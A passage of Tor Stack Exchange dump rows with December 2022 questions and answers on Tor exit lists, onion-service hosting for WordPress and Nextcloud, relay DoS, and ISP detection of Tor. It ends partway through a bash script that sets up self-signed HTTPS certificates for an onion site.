  <row Id="23483" PostTypeId="2" ParentId="23468" CreationDate="2022-12-21T10:35:55.630" Score="0" Body="&lt;p&gt;Please see &lt;a href=&quot;https://blog.torproject.org/changes-tor-exit-list-service/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link&lt;/a&gt; for information on how the Tor Exit List works.&lt;/p&gt;&#xA;&lt;p&gt;From the blog post:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Exit lists are provided through three interfaces: raw measurement&#xA;results are archived by CollecTor, a text file containing all exit&#xA;addresses is available for download to query locally, and finally, we&#xA;provide a DNS exit list service to allow services to perform real-time&#xA;lookups.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is where you can see the &lt;a href=&quot;https://metrics.torproject.org/collector/recent/exit-lists/&quot; rel=&quot;nofollow noreferrer&quot;&gt;latest list&lt;/a&gt;. It is updated daily.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2022-12-21T10:35:55.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23484" PostTypeId="2" ParentId="17295" CreationDate="2022-12-23T15:59:21.963" Score="1" Body="&lt;p&gt;Making a wordpress site accessible over an Onion Service is going to be the same as making any website accessible over tor. Basically just:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make your web server bind only to localhost on a port that's not exposed to the internet (blocked by the firewall)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install and configure Tor with an Onion Service that points to the above locally hosted webserver&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you'd also like to make your wordpress site available on &lt;em&gt;both&lt;/em&gt; a clearnet domain &lt;em&gt;and&lt;/em&gt; an Onion Service, that's actually much more difficult.&lt;/p&gt;&#xA;&lt;p&gt;You can do it with the Mercator plugin, and &lt;a href=&quot;https://tech.michaelaltfield.net/2021/02/12/wordpress-multisite-tor-alias/&quot; rel=&quot;nofollow noreferrer&quot;&gt;some modifications to your webserver config &amp;amp; child theme to handle domain rewriting&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://tech.michaelaltfield.net/2021/02/12/wordpress-multisite-tor-alias/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tech.michaelaltfield.net/2021/02/12/wordpress-multisite-tor-alias/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31208" LastActivityDate="2022-12-23T15:59:21.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23485" PostTypeId="1" CreationDate="2022-12-26T11:12:24.650" Score="0" ViewCount="133" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BibOx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BibOx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm running a pretty strong Tor Middle Relay, not a Guard yet - at least the CPU is good for a Tor Relay - and somehow my server experiences extreme usage right now, and in the picture we can see that something is clearly off. Somehow, Tors download is at 5.9MB/s but upload only 4MB/s.&lt;/p&gt;&#xA;&lt;p&gt;And what you can't see is Tors extreme resource usage of 1GB RAM (usually it's a half GB only) and - the processor at full 3GHz - 30% CPU usage of 4 cores, while usually I only get 10% CPU usage at 800MHz.&lt;/p&gt;&#xA;&lt;p&gt;And when looking at htop, it's pretty clear Tor is being DoSed to dead right now, because Tor uses 100% of one full core... Well, it fluctuates between 70% and 110%.&lt;/p&gt;&#xA;&lt;p&gt;By the time of writing, the DoS attack is still going on..&lt;/p&gt;&#xA;&lt;p&gt;So, what could I do? Right now, still writing, the DoS has stopped.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QL5rv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QL5rv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, lucky that it stopped, I wonder why and how this could happen.&lt;/p&gt;&#xA;&lt;p&gt;I personally think, there could be one possible reason:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tors DoS protection is bad and someone requested &lt;em&gt;something&lt;/em&gt; over and over, resulting in high download and lots of processing.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;So I wonder, if that was a new Tor vulnerability or something.&#xA;I'm stuck here and don't know what to do, because I am very sure that this was a DoS attack and I'd like to inform the developers in case it really was one.&lt;/p&gt;&#xA;&lt;p&gt;The softwares version is, according to nyx, Tor 0.4.7.12 (&lt;em&gt;recommended&lt;/em&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Note: RAM usage still 1GB. I guess, the RAM usage usually is 1GB, though I had seen it mostly using around 512MB lately.&lt;/p&gt;&#xA;" OwnerUserId="33891" LastEditorUserId="33891" LastEditDate="2022-12-26T11:25:00.640" LastActivityDate="2023-01-11T00:56:27.763" Title="New TOR DoS Attack -_-?" Tags="|relays|dos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23486" PostTypeId="2" ParentId="13450" CreationDate="2022-12-26T11:14:25.067" Score="1" Body="&lt;p&gt;TOR client leaks your data when it sync's its clock to start.&#xA;This is a very bad thing to do, its how your traced, its a trigger.&#xA;Time sync should be Decoupled from Security.&lt;/p&gt;&#xA;&lt;p&gt;Also dont ask for TOR bridges with Gmail or telegram, both data mined, might as well just email NSA direct.&lt;/p&gt;&#xA;" OwnerUserId="37800" LastActivityDate="2022-12-26T11:14:25.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23490" PostTypeId="1" CreationDate="2022-12-27T19:07:09.370" Score="2" ViewCount="217" Body="&lt;p&gt;Can my internet provider tell I used Tor Browser a week ago?&lt;/p&gt;&#xA;" OwnerUserId="37812" LastEditorUserId="6759" LastEditDate="2023-02-25T17:18:03.457" LastActivityDate="2023-02-25T17:18:03.457" Title="Can my internet company tell I used Tor 1 week ago?" Tags="|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23491" PostTypeId="2" ParentId="23490" CreationDate="2022-12-28T01:13:17.557" Score="0" Body="&lt;p&gt;If you didn't use bridges, your Internet provider can realize you were using Tor, but not exactly the Tor Browser, just Tor.&lt;/p&gt;&#xA;&lt;p&gt;Everything over Tor is encrypted, so nobody except by the exit nodes can know what you browsed.&lt;/p&gt;&#xA;" OwnerUserId="34847" LastActivityDate="2022-12-28T01:13:17.557" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23492" PostTypeId="1" CreationDate="2022-12-28T12:02:55.253" Score="1" ViewCount="140" Body="&lt;p&gt;I'm using tor in Iran .&#xA;My question is why do i always get Iran exit nodes even after configure the torrc file to use strict exit nodes?&lt;/p&gt;&#xA;&lt;p&gt;my torrc exitnodes config:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; ExitNodes {nl} StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: Tor browser works just fine as a Anti-censorship tool and I don't have any problem with surfing the web but i'm worried that it would be a security issue.&lt;/p&gt;&#xA;" OwnerUserId="31574" LastActivityDate="2022-12-28T12:02:55.253" Title="Why Do I always get Iran's ip?" Tags="|tor-browser-bundle|anonymity|exit-relays|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23494" PostTypeId="1" CreationDate="2022-12-28T17:48:14.713" Score="3" ViewCount="145" Body="&lt;p&gt;I can see from the answer to &lt;a href=&quot;https://tor.stackexchange.com/questions/672/how-do-onion-addresses-exactly-work&quot;&gt;&amp;quot;How exactly do onion addresses work&amp;quot;&lt;/a&gt; that the tor protocol needs to upload the hidden service descriptor in item 6, to a distributed hash table (DHT). Is it not possible for a government simply to block the nodes in the DHT that are responsible for sharing how to connect to a particular onion server.&lt;/p&gt;&#xA;&lt;p&gt;Furthermore it appears that the introduction points themselves can be censored. Is it actually possible? And how likely is this scenario?&lt;/p&gt;&#xA;" OwnerUserId="37820" LastEditorUserId="435" LastEditDate="2023-02-25T17:18:32.803" LastActivityDate="2023-02-25T17:18:32.803" Title="Is it possible to a onion server to be censored?" Tags="|onion-services|onion-routing|censorship|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23495" PostTypeId="2" ParentId="23494" CreationDate="2022-12-29T17:36:10.610" Score="0" Body="&lt;p&gt;I won't say that's impossible but it is very unlikely and probably quite difficult. If it were that easy, there would be a lot fewer onion-based markets. Also, as soon as you notice that your site is being censored, all you would need to do is create a new .onion address and they would have to start from the beginning. If they could simply censor an onion server, then they would.&lt;/p&gt;&#xA;&lt;p&gt;It is more likely that they will try to de-anonymize the onion service due to carelessness on the part of the person running the server. If they can find an IP address associated with the onion service, or if they can find someone talking about how they are running that site online, they will use that instead.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2022-12-29T17:36:10.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23496" PostTypeId="2" ParentId="8819" CreationDate="2022-12-29T21:06:07.637" Score="0" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/onionltd/EndGame&quot; rel=&quot;nofollow noreferrer&quot;&gt;EndGame&lt;/a&gt;, which was a system designed to protect Onion Services from DDoS attacks.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/onionltd/EndGame&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/onionltd/EndGame&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In May 2020, &lt;a href=&quot;https://github.com/onionltd&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onion Ltd&lt;/a&gt; released &lt;a href=&quot;https://github.com/onionltd/EndGame/tree/770d6da100d6d52f6abc91e9e4c87c06373ee164&quot; rel=&quot;nofollow noreferrer&quot;&gt;EndGame&lt;/a&gt; on GitHub. It uses nginx frontend proxies (&amp;quot;fronts&amp;quot;) to put the users in queues and require them to solve a &lt;a href=&quot;https://en.wikipedia.org/wiki/CAPTCHA&quot; rel=&quot;nofollow noreferrer&quot;&gt;CAPTCHA&lt;/a&gt; (generated with python).&lt;/p&gt;&#xA;&lt;p&gt;After waiting some seconds, the user is presented with a CAPTCHA from one of the fronts. If the user solves the CAPTCHA correctly, then their session is forwarded to the actual Onion Service backend.&lt;/p&gt;&#xA;&lt;p&gt;If the CAPTCHA works, then the DDoS will be mitigated against the backend, and the Onion Service administrator only needs to scale-up their fronts. EndGame's README recommends at least 3 fronts.&lt;/p&gt;&#xA;&lt;p&gt;At the time of writing, EndGame is what's used in many popular Onion Services, such as the Elude Tech Collective and the Dread Forums.&lt;/p&gt;&#xA;&lt;p&gt;EndGame's README says that it helps mitigate DDoS attacks, but that it &amp;quot;isn't perfect&amp;quot; and suggests that the Tor developers add a POW at the introduction point to make Onion Services more DDoS resilient&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;EndGame isn't perfect. It can't protect against introduction cell type attacks (the Tor project will need to add POW at the introduction points to fix that). But it does provide good protection and scaling which makes it much harder to take you down overall for whatever people throw at you.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;source: &lt;a href=&quot;https://github.com/onionltd/EndGame/blob/master/README.MD&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/onionltd/EndGame/blob/master/README.MD&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Further Reading&lt;/h3&gt;&#xA;&lt;p&gt;For more information about protecting Onion Services from DDoS attacks, see the following articles published by the Tor Project:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Jun 2022 &lt;a href=&quot;https://status.torproject.org/issues/2022-06-09-network-ddos/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://status.torproject.org/issues/2022-06-09-network-ddos/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Aug 2020 &lt;a href=&quot;https://blog.torproject.org/stop-the-onion-denial/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/stop-the-onion-denial/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Jan 2014 &lt;a href=&quot;https://blog.torproject.org/new-tor-denial-service-attacks-and-defenses/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/new-tor-denial-service-attacks-and-defenses/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31208" LastActivityDate="2022-12-29T21:06:07.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23497" PostTypeId="2" ParentId="23490" CreationDate="2022-12-29T22:04:21.697" Score="1" Body="&lt;p&gt;If they were looking for it, yes.  Tor usage is quite obvious, and web browsers have a distinctive traffic pattern that can easily be told apart from something like gaming or streaming video.&lt;/p&gt;&#xA;&lt;p&gt;Using a bridge to connect to Tor will hide your usage against casual surveillance, by making Tor traffic look somewhat like some other form of encrypted traffic.  More advanced analysis will still reveal that you're using Tor.&lt;/p&gt;&#xA;" OwnerUserId="6759" LastActivityDate="2022-12-29T22:04:21.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23498" PostTypeId="1" AcceptedAnswerId="23519" CreationDate="2022-12-30T01:08:55.577" Score="0" ViewCount="112" Body="&lt;p&gt;After setting up my own Nextcloud server over tor, using a private &lt;code&gt;.onion&lt;/code&gt; domain, and http, I am unsure about the security implications of using http in this setup.&lt;/p&gt;&#xA;&lt;p&gt;I learned one can buy a &lt;code&gt;.onion&lt;/code&gt; https certificate at &lt;a href=&quot;https://www.digicert.com/blog/ordering-a-onion-certificate-from-digicert&quot; rel=&quot;nofollow noreferrer&quot;&gt;digicert&lt;/a&gt;, and I expect one may be able to use a self-signed certificate. However, I would like to minimize costs, and I have not yet been able to make self-signed certificates work in practice.&lt;/p&gt;&#xA;&lt;h2&gt;Assumptions&lt;/h2&gt;&#xA;&lt;p&gt;To limit the scope of the question, I make the following assumptions:&lt;/p&gt;&#xA;&lt;ol start=&quot;0&quot;&gt;&#xA;&lt;li&gt;Malicious actors can see the outgoing traffic towards tor, over wifi.&lt;/li&gt;&#xA;&lt;li&gt;A malicious tor-exit node can see the un-encrypted http data that is submitted into the &lt;code&gt;.onion&lt;/code&gt; domain, upon loggin in via &lt;code&gt;tor&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The malicious tor-exit node does not need to know where my nextcloud server is located, if they can intercept my username and password that is submitted over tor over http, as they can re-use them over tor, on the same &lt;code&gt;.onion&lt;/code&gt; themselves.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;Doubts&lt;/h2&gt;&#xA;&lt;p&gt;I am not sure whether it would be the exit node that presents me the &lt;code&gt;.onion&lt;/code&gt; site and login, or whether it is the &amp;quot;input node&amp;quot; to which my server connects that needs to be compromised for an adversary to intercept my login credentials. (Or both, or either of the two).&lt;/p&gt;&#xA;&lt;h2&gt;Question&lt;/h2&gt;&#xA;&lt;p&gt;Can malicious actors, and/or malicous tor-node operators directly read the Nextcloud password and username that I submit over &lt;code&gt;http://some_onion_domain.onion&lt;/code&gt;, or do they require an additional vulnerability/exploit/majority to actually read the passwords?&lt;/p&gt;&#xA;&lt;p&gt;And if yes, are malicous actors monitoring my wifi able to do so, or only malicious tor-node operators, or both, or also some other actors outside the tor-network?&lt;/p&gt;&#xA;&lt;h2&gt;Update: self-signed SSL cert&lt;/h2&gt;&#xA;&lt;p&gt;In the meantime, &lt;a href=&quot;https://github.com/HiveMinds/Collabora-Online/blob/main/src/config/setup_ssl.sh&quot; rel=&quot;nofollow noreferrer&quot;&gt;this script&lt;/a&gt; was written that creates a self-signed certificate. Note, I am involved in writing that script.&lt;/p&gt;&#xA;" OwnerUserId="32892" LastEditorUserId="32892" LastEditDate="2023-01-17T09:42:51.167" LastActivityDate="2023-01-17T09:42:51.167" Title="Security vulnerabilities for http login of self-hosted nextcloud server over tor?" Tags="|security|https|certificate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23499" PostTypeId="1" CreationDate="2022-12-30T05:05:14.287" Score="1" ViewCount="238" Body="&lt;p&gt;I understand that using the built in browser within whonix is the best way to utilize its privacy and security benefits. However with network scripts for example that make custom requests, do they also have the same privacy measures? I am assuming that all traffic not only browser is also channeled through tor for the privacy inside whonix but I could not really find any clear answers online.&lt;/p&gt;&#xA;" OwnerUserId="37827" LastActivityDate="2023-01-02T15:59:05.863" Title="Does whonix traffic non browser requests through tor?" Tags="|whonix|tor-network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23500" PostTypeId="1" CreationDate="2022-12-30T20:50:36.623" Score="0" ViewCount="126" Body="&lt;h2&gt;Context&lt;/h2&gt;&#xA;&lt;p&gt;For a self-hosted Nextcloud server running over tor, I'm getting the error listed below, after setting: &lt;code&gt;security.enterprise_roots.enabled&lt;/code&gt; in &lt;code&gt;about:config&lt;/code&gt; to: &lt;code&gt;true&lt;/code&gt; as recommended in &lt;a href=&quot;https://support.mozilla.org/en-US/questions/1197635&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;SSL_ERROR_RX_RECORD_TOO_LONG&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EEEdL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EEEdL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/4762977/7437143&quot;&gt;This post&lt;/a&gt; seems to suggest that is because there is something wrong with port 443. However, that is for regular sites, I did not do anything with apache, and my &lt;code&gt;torrc&lt;/code&gt; file contains:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;HiddenServiceDir /var/lib/tor/nextcloud/&#xA;HiddenServicePort 8080 127.0.0.1:81&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;subjectAltName&lt;/code&gt; is defined as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;subjectAltName=DNS:localhost,DNS:some_onion.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And after importing the accompanying &lt;code&gt;ca.crt&lt;/code&gt; into brave, it successfully provides &lt;code&gt;https&lt;/code&gt; for https://localhost:81 .&lt;/p&gt;&#xA;&lt;h2&gt;Question&lt;/h2&gt;&#xA;&lt;p&gt;How can I resolve the SSL_ERROR_RX_RECORD_TOO_LONG for the tor website?&lt;/p&gt;&#xA;" OwnerUserId="32892" LastEditorUserId="32892" LastEditDate="2022-12-31T01:13:51.910" LastActivityDate="2022-12-31T11:33:59.460" Title="Firefox: SSL_ERROR_RX_RECORD_TOO_LONG" Tags="|https|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23501" PostTypeId="2" ParentId="10158" CreationDate="2022-12-31T09:30:33.303" Score="0" Body="&lt;p&gt;You edited the wrong torrc file. Instead of editing the one in TorBrowser-Data, try to find another one in /etc/ bin. Regardless, I fixed mine by editing the one there.&lt;/p&gt;&#xA;" OwnerUserId="37817" LastActivityDate="2022-12-31T09:30:33.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23502" PostTypeId="2" ParentId="23500" CreationDate="2022-12-31T11:33:59.460" Score="0" Body="&lt;h2&gt;Solution&lt;/h2&gt;&#xA;&lt;p&gt;As implied by &lt;a href=&quot;https://www.bentasker.co.uk/posts/documentation/linux/309-building-a-tor-hidden-service-from-scratch-part-2-http-and-https.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ben Tasker&lt;/a&gt;, It seems the issue was that https over Tor requires port 443, which was not opened by the written code. So the solution was to ensure the &lt;code&gt;/etc/tor/torrc&lt;/code&gt; file was modified such that it contained:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/nextcloud/&#xA;HiddenServicePort 443 127.0.0.1:443&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Followed by:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo reload tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(And activating the tor service with:)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and to visit the onion at: https://some_onion.onion:443&lt;/p&gt;&#xA;&lt;h2&gt;Code&lt;/h2&gt;&#xA;&lt;p&gt;The full script for supporting https over tor is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env bash&#xA;# Here is the list of certificates and their description:&#xA;# First you create your own certificate authority.&#xA;CA_PRIVATE_KEY_FILENAME=&amp;quot;ca-key.pem&amp;quot;&#xA;CA_PUBLIC_KEY_FILENAME=&amp;quot;ca.pem&amp;quot;&#xA;# Same file as ca.pem except different file extension and content.&#xA;CA_PUBLIC_CERT_FILENAME=&amp;quot;ca.crt&amp;quot;&#xA;&#xA;# Then you create a SSL certificate.&#xA;SSL_PRIVATE_KEY_FILENAME=&amp;quot;cert-key.pem&amp;quot;&#xA;&#xA;# Then create a sign-request (for your own CA to sign your own SSL certificate)&#xA;CA_SIGN_SSL_CERT_REQUEST_FILENAME=&amp;quot;cert.csr&amp;quot;&#xA;SIGNED_DOMAINS_FILENAME=&amp;quot;extfile.cnf&amp;quot;&#xA;&#xA;# Then create the signed public SSL cert.&#xA;SSL_PUBLIC_KEY_FILENAME=&amp;quot;cert.pem&amp;quot;&#xA;&#xA;# Then merge the CA and SLL cert into one.&#xA;MERGED_CA_SSL_CERT_FILENAME=&amp;quot;fullchain.pem&amp;quot;&#xA;&#xA;setup_tor_ssl() {&#xA;  local onion_address=&amp;quot;$1&amp;quot;&#xA;&#xA;  # Create domains accepted by certificate.&#xA;  local domains&#xA;  #domains=&amp;quot;DNS:$onion_address,IP:127.0.0.1&amp;quot;&#xA;  #domains=&amp;quot;DNS:localhost,IP:$onion_address&amp;quot; # IP onion does not work&#xA;  #domains=&amp;quot;DNS:*.$onion_address&amp;quot; # Does not work.&#xA;  #domains=&amp;quot;DNS:$onion_address&amp;quot; # Does not work.&#xA;  domains=&amp;quot;DNS:localhost,DNS:$onion_address&amp;quot; # Works for localhost&#xA;  echo &amp;quot;domains=$domains.end_without_space&amp;quot;&#xA;&#xA;  delete_target_files&#xA;&#xA;  # Generate and apply certificate.&#xA;  generate_ca_cert &amp;quot;$CA_PRIVATE_KEY_FILENAME&amp;quot; &amp;quot;$CA_PUBLIC_KEY_FILENAME&amp;quot;&#xA;  generate_ssl_certificate &amp;quot;$CA_PUBLIC_KEY_FILENAME&amp;quot; &amp;quot;$CA_PRIVATE_KEY_FILENAME&amp;quot; &amp;quot;$CA_SIGN_SSL_CERT_REQUEST_FILENAME&amp;quot; &amp;quot;$SIGNED_DOMAINS_FILENAME&amp;quot; &amp;quot;$SSL_PUBLIC_KEY_FILENAME&amp;quot; &amp;quot;$SSL_PRIVATE_KEY_FILENAME&amp;quot; &amp;quot;$domains&amp;quot;&#xA;&#xA;  verify_certificates &amp;quot;$CA_PUBLIC_KEY_FILENAME&amp;quot; &amp;quot;$SSL_PUBLIC_KEY_FILENAME&amp;quot;&#xA;&#xA;  merge_ca_and_ssl_certs &amp;quot;$SSL_PUBLIC_KEY_FILENAME&amp;quot; &amp;quot;$CA_PUBLIC_KEY_FILENAME&amp;quot; &amp;quot;$MERGED_CA_SSL_CERT_FILENAME&amp;quot;&#xA;&#xA;  install_the_ca_cert_as_a_trusted_root_ca &amp;quot;$CA_PUBLIC_KEY_FILENAME&amp;quot; &amp;quot;$CA_PUBLIC_CERT_FILENAME&amp;quot;&#xA;&#xA;  add_certs_to_nextcloud &amp;quot;$SSL_PUBLIC_KEY_FILENAME&amp;quot; &amp;quot;$SSL_PRIVATE_KEY_FILENAME&amp;quot; &amp;quot;$MERGED_CA_SSL_CERT_FILENAME&amp;quot;&#xA;}&#xA;&#xA;generate_ca_cert() {&#xA;  local ca_private_key_filename=&amp;quot;$1&amp;quot;&#xA;  local ca_public_key_filename=&amp;quot;$2&amp;quot;&#xA;&#xA;  # Generate RSA&#xA;  openssl genrsa -aes256 -out &amp;quot;$ca_private_key_filename&amp;quot; 4096&#xA;&#xA;  # Generate a public CA Cert&#xA;  openssl req -new -x509 -sha256 -days 365 -key &amp;quot;$ca_private_key_filename&amp;quot; -out &amp;quot;$ca_public_key_filename&amp;quot;&#xA;}&#xA;&#xA;generate_ssl_certificate() {&#xA;  local ca_public_key_filename=&amp;quot;$1&amp;quot;&#xA;  local ca_private_key_filename=&amp;quot;$2&amp;quot;&#xA;  local ca_sign_ssl_cert_request_filename=&amp;quot;$3&amp;quot;&#xA;  local signed_domains_filename=&amp;quot;$4&amp;quot;&#xA;  local ssl_public_key_filename=&amp;quot;$5&amp;quot;&#xA;  local ssl_private_key_filename=&amp;quot;$6&amp;quot;&#xA;  local domains=&amp;quot;$7&amp;quot;&#xA;  # Example supported domains:&#xA;  # DNS:your-dns.record,IP:257.10.10.1&#xA;&#xA;  # Create a RSA key&#xA;  openssl genrsa -out &amp;quot;$ssl_private_key_filename&amp;quot; 4096&#xA;&#xA;  # Create a Certificate Signing Request (CSR)&#xA;  openssl req -new -sha256 -subj &amp;quot;/CN=yourcn&amp;quot; -key &amp;quot;$ssl_private_key_filename&amp;quot; -out &amp;quot;$ca_sign_ssl_cert_request_filename&amp;quot;&#xA;&#xA;  # Create a `extfile` with all the alternative names&#xA;  echo &amp;quot;subjectAltName=$domains&amp;quot; &amp;gt;&amp;gt;&amp;quot;$signed_domains_filename&amp;quot;&#xA;&#xA;  # optional&#xA;  #echo extendedKeyUsage = serverAuth &amp;gt;&amp;gt; &amp;quot;$ca_sign_ssl_cert_request_filename&amp;quot;&#xA;&#xA;  # Create the public SSL certificate.&#xA;  openssl x509 -req -sha256 -days 365 -in &amp;quot;$ca_sign_ssl_cert_request_filename&amp;quot; -CA &amp;quot;$ca_public_key_filename&amp;quot; -CAkey &amp;quot;$ca_private_key_filename&amp;quot; -out &amp;quot;$ssl_public_key_filename&amp;quot; -extfile &amp;quot;$signed_domains_filename&amp;quot; -CAcreateserial&#xA;}&#xA;&#xA;verify_certificates() {&#xA;  local ca_public_key_filename=&amp;quot;$1&amp;quot;&#xA;  local ssl_public_key_filename=&amp;quot;$2&amp;quot;&#xA;  openssl verify -CAfile &amp;quot;$ca_public_key_filename&amp;quot; -verbose &amp;quot;$ssl_public_key_filename&amp;quot;&#xA;}&#xA;&#xA;merge_ca_and_ssl_certs() {&#xA;  local ssl_public_key_filename=&amp;quot;$1&amp;quot;&#xA;  local ca_public_key_filename=&amp;quot;$2&amp;quot;&#xA;  local merged_ca_ssl_cert_filename=&amp;quot;$3&amp;quot;&#xA;&#xA;  cat &amp;quot;$ssl_public_key_filename&amp;quot; &amp;gt;&amp;quot;$merged_ca_ssl_cert_filename&amp;quot;&#xA;  cat &amp;quot;$ca_public_key_filename&amp;quot; &amp;gt;&amp;gt;&amp;quot;$merged_ca_ssl_cert_filename&amp;quot;&#xA;}&#xA;&#xA;install_the_ca_cert_as_a_trusted_root_ca() {&#xA;  local ca_public_key_filename=&amp;quot;$1&amp;quot;&#xA;  local ca_public_cert_filename=&amp;quot;$2&amp;quot;&#xA;&#xA;  # The file in the ca-certificates dir must be of extension .crt:&#xA;  openssl x509 -outform der -in &amp;quot;$ca_public_key_filename&amp;quot; -out &amp;quot;$ca_public_cert_filename&amp;quot;&#xA;&#xA;  # First remove any old cert if it existed.&#xA;  sudo rm &amp;quot;/usr/local/share/ca-certificates/$ca_public_cert_filename&amp;quot;&#xA;  sudo update-ca-certificates&#xA;&#xA;  # TODO: Verify target directory exists.&#xA;  # On Debian &amp;amp; Derivatives:&#xA;  #- Move the CA certificate (`&amp;quot;$ca_private_key_filename&amp;quot;`) into `/usr/local/share/ca-certificates/ca.crt`.&#xA;  sudo cp &amp;quot;$ca_public_cert_filename&amp;quot; &amp;quot;/usr/local/share/ca-certificates/$ca_public_cert_filename&amp;quot;&#xA;&#xA;  # TODO: Verify target file exists.&#xA;&#xA;  # TODO: Verify target file MD5sum.&#xA;&#xA;  # Update the Cert Store with:&#xA;  sudo update-ca-certificates&#xA;}&#xA;&#xA;add_certs_to_nextcloud() {&#xA;  local ssl_public_key_filename=&amp;quot;$1&amp;quot;&#xA;  local ssl_private_key_filename=&amp;quot;$2&amp;quot;&#xA;  local merged_ca_ssl_cert_filename=&amp;quot;$3&amp;quot;&#xA;&#xA;  # First copy the files into nextcloud.&#xA;  # Source: https://github.com/nextcloud-snap/nextcloud-snap/issues/256&#xA;  # (see nextcloud.enable-https custom -h command).&#xA;  #sudo cp ca.pem /var/snap/nextcloud/current/ca.pem&#xA;  sudo cp &amp;quot;$ssl_public_key_filename&amp;quot; /var/snap/nextcloud/current/&amp;quot;$ssl_public_key_filename&amp;quot;&#xA;  sudo cp &amp;quot;$ssl_private_key_filename&amp;quot; 